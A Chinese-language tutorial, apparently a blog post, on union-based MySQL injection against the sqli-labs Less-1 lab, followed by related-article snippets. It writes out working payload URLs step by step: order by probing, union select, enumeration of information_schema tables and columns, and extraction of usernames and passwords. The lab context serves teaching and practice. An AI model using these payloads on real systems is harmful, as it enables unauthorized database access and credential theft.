sql注入之简要注入
#mysql简要注入流程
mysql注入简要流程如下图:
由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询。
#sqli-labs之Less-1
1.判断是否有注入点
老方法:
and 1=1 页面正常
and 1=2 页面错误
说明可能存在注入点
最舒服的方法:
参数后面随便输入,被解析但未出现404可能存在注入。
若出现404页面说明没有注入点。
http://127.0.0.1/sqli-labs/Less-1/?id=1 --+
页面正常:
参数后面随便输:http://127.0.0.1/sqli-labs/Less-1/?id=1323424 --+
被解析,未报错,说明存在注入点
2.判断注入
猜解列名数量(字段数):order by x(为可变变量) 找出错误与正确的临界值
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 --+
由上图可知字段数为3。
3.报错猜解准备
?id=-1' union select 1,2,3 --+
由图可知,2,3位置可进行回显。
4.信息收集
数据库版本:version()
数据库用户:user()
数据库名字:database()
操作系统:@@version_compile_os
数据库版本及数据库用户:
数据库名字及操作系统:
5.查询指定数据库的表名信息
必要知识点:
在mysql5.0及以上版本中mysql存在自带的数据库名information_schema,它是一个存记录有所有数据名、表名、列名的数据库。也就相当于可以查询它获取指定数据库下的表名列名信息。
数据库中符号“.”代表下一级,如a.b表示数据库a下的b表。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库名
table_name:表名
column_name:列名
查询security数据库下的表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' --+
所有表名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
可知有4张表分别是:emails,referers,uagents,users
6.查询指定表名下的列名信息
由上可推测用户信息可能在users表中
查询users表下的列名信息:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
可知users表中的字段为username和password
7.查询指定数据
查询users表中的数据:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,username,password from users limit 0,1--+
猜解多个数据可使用limit x,1(变动猜解)
可知一共有13条数据
sql注入之简要注入的更多相关文章
- 十二:SQL注入之简要注入
SQL注入漏洞将是重点漏洞,分为数据库类型,提交方法,数据类型等方式.此类漏洞是WEB漏洞中的核心漏洞,学习如何的利用,挖掘,和修复是重要的. SQL注入的危害 SQL注入的原理 可控变量,带入数据库 ...
- 注入攻击-SQL注入和代码注入
注入攻击 OWASP将注入攻击和跨站脚本攻击(XSS)列入网络应用程序十大常见安全风险.实际上,它们会一起出现,因为 XSS 攻击依赖于注入攻击的成功.虽然这是最明显的组合关系,但是注入攻击带来的不仅 ...
- sql工具和手工注入总结
普通注入: 数字注入 字符注入 base64注入:和常规的方法没有说明区别,主要是解码然后编码: 如果普通注入不行,尝试大小写绕过,编码等绕过: 如果不行尝试盲注: POST注入 0x00 常用的 注 ...
- StringEscapeUtils的常用使用,防止SQL注入及XSS注入
StringEscapeUtils的常用使用,防止SQL注入及XSS注入 2017年10月20日 11:29:44 小狮王 阅读数:8974 版权声明:本文为博主原创文章,转载请注明出处. htt ...
- 【网络安全】SQL注入、XML注入、JSON注入和CRLF注入科普文
目录 SQL注入 一些寻找SQL漏洞的方法 防御SQL注入 SQL注入相关的优秀博客 XML注入 什么是XML注入 预防XML注入 JSON注入 什么是JSON注入 JSON注入的防御 CRLF注入 ...
- SQL注入:POST注入
POST注入简介 POST注入属于注入的一种,相信大家在之前的课程中都知道POST\GET两种传参方式. POST注入就是使用POST进行传参的注入,本质上和GET类型的没什么区别. POST注入高危 ...
- Go语言SQL注入和防注入
Go语言SQL注入和防注入 一.SQL注入是什么 SQL注入是一种注入攻击手段,通过执行恶意SQL语句,进而将任意SQL代码插入数据库查询,从而使攻击者完全控制Web应用程序后台的数据库服务器.攻击者 ...
- 基础Web漏洞-SQL注入入门(手工注入篇)
一.什么是SQL注入 SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...
- SQL注入之堆叠注入(堆查询注入)
Stached injection -- 堆叠注入 0x00 堆叠注入的定义 Stacked injection 汉语翻译过来后,称 为堆查询注入,也有称之为堆叠注入.堆叠注入为攻击者提供了很多的 ...
随机推荐
- PHP面试常考内容之Memcache和Redis(1)
你好,是我琉忆.继上周(2019.2-11至2-15)发布的"PHP面试常考内容之面向对象"专题后,发布的第二个专题,感谢你的阅读.本周(2019.2-18至2-22)的文章内容点 ...
- 《PHP程序员面试笔试宝典》——如何应对面试官的“激将法”语言?
如何巧妙地回答面试官的问题? 本文摘自<PHP程序员面试笔试宝典> "激将法"是面试官用以淘汰求职者的一种惯用方法,它是指面试官采用怀疑.尖锐或咄咄逼人的交流方式来对求 ...
- Solution -「多校联训」朝鲜时蔬
\(\mathcal{Description}\) Link. 破案了,朝鲜时蔬 = 超现实树!(指写得像那什么一样的题面. 对于整数集 \(X\),定义其 好子集 为满足 \(Y\sub ...
- 我是如何破解你的WINDOWS密码的 ?(1)
我是如何破解你的WINDOWS密码的 ?(1) 密码可以看作我们主要,甚至某些情况下唯一可用于防范入侵的防线.就算入侵者无法在物理上接触到计算机,对于对外的Web应用,他们依然可以通过远程桌面协议或身 ...
- 暑假撸系统6- Thymeleaf ajax交互!
本来用Thymeleaf也没想着深度使用ajax,就是用也是非常传统的ajax方式提交然后js控制修改下变量.闲来无事的时候看Thymeleaf的教程发现一哥们的实现方式,以及实现思路,堪称惊奇,先说 ...
- Spring Security即将弃用WebSecurityConfigurerAdapter配置类
用过WebSecurityConfigurerAdapter的都知道对Spring Security十分重要,总管Spring Security的配置体系.但是马上这个类要废了,你没有看错,这个类将在 ...
- 1、Oauth概念与模式
参考 OAuth 2.0 的一个简单解释
- BI报表系统该如何集成到其他系统呢?
近期小麦我经常收到很多用户的反馈,想知道Smartbi的报表能不能从微信/钉钉之类的直接跳转到已做好的报表页面?他们都希望通过这种方式尽可能地避免由于各个管理软件账号密码不同而造成的不便,能够在日常工 ...
- json系列(二)cjson,rapidjson,yyjson大整数解析精度对比
前言上一篇介绍了3种json解析工具的使用方法,对于基础数据的解析没有任何问题.我们传输的json数据里有unsigned long型数据,需要借助json解析工具得到正确的unsigned long ...
- html页面引用script出现中文乱码问题
在html的head标签中加入代码: <meta http-equiv="Content-Type" content="text/javascript; chars ...